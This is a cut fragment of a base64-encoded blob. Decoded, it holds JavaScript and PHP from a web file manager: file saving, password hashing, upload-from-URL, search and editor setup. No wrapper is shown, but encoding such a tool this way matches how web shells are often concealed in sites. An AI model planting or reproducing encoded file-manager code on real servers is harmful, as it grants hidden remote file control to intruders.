4gIT09IG51bGwpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFqYXg6IHRydWUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmXG4gICAgICAgICAgICAgICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IFwiUE9TVFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnRUeXBlOiBcImFwcGxpY2F0aW9uXC9qc29uOyBjaGFyc2V0PXV0Zi04XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiU2F2ZWQgU3VjY2Vzc2Z1bGx5XCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoXCJFcnJvcjogdHJ5IGFnYWluXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9XCJiYWNrZ3JvdW5kLWNvbG9yOnJlZFwiPiR7bWVzLnJlc3BvbnNlVGV4dH08XC9wPmApO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwiZm9ybVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKFwibWV0aG9kXCIsIFwiUE9TVFwiKSwgYS5zZXRBdHRyaWJ1dGUoXCJhY3Rpb25cIiwgXCJcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJ0ZXh0YXJlYVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIG8uc2V0QXR0cmlidXRlKFwidHlwZVwiLCBcInRleHRhcmVhXCIpLCBvLnNldEF0dHJpYnV0ZShcIm5hbWVcIiwgXCJzYXZlZGF0YVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJpbnB1dFwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZShcInR5cGVcIiwgXCJoaWRkZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJuYW1lXCIsIFwidG9rZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJ2YWx1ZVwiLCB3aW5kb3cuY3NyZik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pO1xuICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KClcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkge1xuICAgICAgICAgICAgICAgICQoXCIuanMtbmV3LXB3ZFwiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7XG4gICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSxcbiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoXCIjanMtcHdkLXJlc3VsdFwiKTtcbiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7XG4gICAgICAgICAgICAgICAgJC5hamF4KHtcbiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSxcbiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLFxuICAgICAgICAgICAgICAgICAgICBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJmFqYXg9XCIgKyB0cnVlLFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLFxuICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJChcImRpdiNqcy11cmwtdXBsb2FkX19saXN0XCIpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikuYXR0cihcImRpc2FibGVkXCIsIFwiZGlzYWJsZWRcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJidXR0b25cIikuaGlkZSgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5hZGRDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmRvbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzIHJvd1wiPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcgKyBkYXRhLmRvbmUubmFtZSArICc8XC9kaXY+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImlucHV0W25hbWU9dXBsb2FkdXJsXVwiKS52YWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZGF0YVsnZmFpbCddKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyIHJvd1wiPkVycm9yOiAnICsgZGF0YS5mYWlsLm1lc3NhZ2UgKyAnPFwvZGl2PicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImJ1dHRvblwiKS5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiYnV0dG9uXCIpLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcIi5sZHMtZmFjZWJvb2tcIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoeGhyKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHtcbiAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2UgPSBcIlwiO1xuICAgICAgICAgICAgICAgICQuZWFjaChkYXRhLCBmdW5jdGlvbihrZXksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9XCI/cD0ke3ZhbC5wYXRofSZ2aWV3PSR7dmFsLm5hbWV9XCI+JHt2YWwucGF0aH1cLyR7dmFsLm5hbWV9PFwvYT48XC9saT5gO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkge1xuICAgICAgICAgICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLnZhbCgpLFxuICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyID0gJChcInVsI3NlYXJjaC13cmFwcGVyXCIpLFxuICAgICAgICAgICAgICAgICAgICBwYXRoID0gJChcIiNqcy1zZWFyY2gtbW9kYWxcIikuYXR0cihcImhyZWZcIiksXG4gICAgICAgICAgICAgICAgICAgIF9odG1sID0gXCJcIixcbiAgICAgICAgICAgICAgICAgICAgJGxvYWRlciA9ICQoXCJkaXYubGRzLWZhY2Vib29rXCIpO1xuICAgICAgICAgICAgICAgIGlmICghIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7XG4gICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IHNlYXJjaFR4dCxcbiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg6IHBhdGgsXG4gICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZlxuICAgICAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogXCJQT1NUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbixcbiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEubGVuZ3RoKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9XCJtLTJcIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKFwiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhXCIpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gXCJBY3Rpb25cIiwgY29udGVudCA9IFwiXCIsIGFjdGlvbiA9IG51bGwpIHtcbiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0ge1xuICAgICAgICAgICAgICAgICAgICBpZCxcbiAgICAgICAgICAgICAgICAgICAgdGl0bGUsXG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoXC9cXCtcL2csICcgJykpLFxuICAgICAgICAgICAgICAgICAgICBhY3Rpb25cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKFwiI2pzLXRwbC1jb25maXJtXCIpLmh0bWwoKTtcbiAgICAgICAgICAgICAgICAkKFwiLm1vZGFsLmNvbmZpcm1EYWlsb2dcIikucmVtb3ZlKCk7XG4gICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTtcbiAgICAgICAgICAgICAgICBjb25zdCAkY29uZmlybURhaWxvZyA9ICQoXCIjY29uZmlybURhaWxvZy1cIiArIHRwbE9iai5pZCk7XG4gICAgICAgICAgICAgICAgJGNvbmZpcm1EYWlsb2cubW9kYWwoJ3Nob3cnKTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICEgZnVuY3Rpb24ocykge1xuICAgICAgICAgICAgICAgIHMucHJldmlld0ltYWdlID0gZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLFxuICAgICAgICAgICAgICAgICAgICAgICAgdCA9IFwiLnByZXZpZXdJbWFnZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB4T2Zmc2V0OiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiBcImZhc3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogXCI1cHhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBcIjFweCBzb2xpZCAjY2NjY2NjXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmFja2dyb3VuZC1jb2xvclwiOiBcIiNmZmZcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRTZWxlY3RvcjogXCJbZGF0YS1wcmV2aWV3LWltYWdlXVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGFLZXk6IFwicHJldmlld0ltYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmxheUlkOiBcInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXlcIlxuICAgICAgICAgICAgICAgICAgICAgICAgfSwgZSk7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbihcIm1vdXNlb3ZlclwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwicCNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcyhcIjxwPlwiKS5hdHRyKFwiaWRcIiwgYS5vdmVybGF5SWQpLmNzcyhcInBvc2l0aW9uXCIsIFwiYWJzb2x1dGVcIikuY3NzKFwiZGlzcGxheVwiLCBcIm5vbmVcIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9XCJjLXByZXZpZXctaW1nXCI+JykuYXR0cihcInNyY1wiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgYS5jc3MgJiYgby5jc3MoYS5jc3MpLCBzKFwiYm9keVwiKS5hcHBlbmQobyksIG8uY3NzKFwidG9wXCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyBcInB4XCIpLmNzcyhcImxlZnRcIiwgZS5wYWdlWCArIGEueE9mZnNldCArIFwicHhcIikuZmFkZUluKGEuZmFkZUluKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlb3V0XCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcyhcIiNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlbW92ZVwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwiI1wiICsgYS5vdmVybGF5SWQpLmNzcyhcInRvcFwiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgXCJweFwiKS5jc3MoXCJsZWZ0XCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyBcInB4XCIpXG4gICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzXG4gICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKVxuICAgICAgICAgICAgfShqUXVlcnkpO1xuXG4gICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICB2YXIgJHRhYmxlID0gJCgnI21haW4tdGFibGUnKSxcbiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsXG4gICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTtcbiAgICAgICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsXG4gICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLFxuICAgICAgICAgICAgICAgICAgICBvcmRlcjogW10sXG4gICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7XG4gICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cyxcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyYWJsZTogZmFsc2VcbiAgICAgICAgICAgICAgICAgICAgfV1cbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCh0aGlzLnZhbHVlKS5kcmF3KCk7XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKGUua2V5Q29kZSA9PT0gMTMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTtcbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnNcIikub24oXCJjbGlja1wiLCAnYScsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTtcbiAgICAgICAgICAgICAgICAgICAgJChcIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhXCIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTtcbiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1jb250YWluZXJcIikuYWRkQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgIDxcL3NjcmlwdD5cblxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKTpcbiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFtcImVkaXRcIl0sIFBBVEhJTkZPX0VYVEVOU0lPTik7XG4gICAgICAgICAgICAkZXh0ID0gICRleHQgPT0gXCJqc1wiID8gXCJqYXZhc2NyaXB0XCIgOiAgJGV4dDtcbiAgICAgICAgPz5cbiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KFwiZWRpdG9yXCIpO1xuICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhdGg6IFwiYWNlXC9tb2RlXC88P3BocCBlY2hvICRleHQ7ID8+XCIsXG4gICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpO1xuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjZV9jb21tZW5kKGNtZCkge1xuICAgICAgICAgICAgICAgICAgICBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbe1xuICAgICAgICAgICAgICAgICAgICBuYW1lOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpbjogJ0N0cmwtUycsXG4gICAgICAgICAgICAgICAgICAgICAgICBtYWM6ICdDb21tYW5kLVMnXG4gICAgICAgICAgI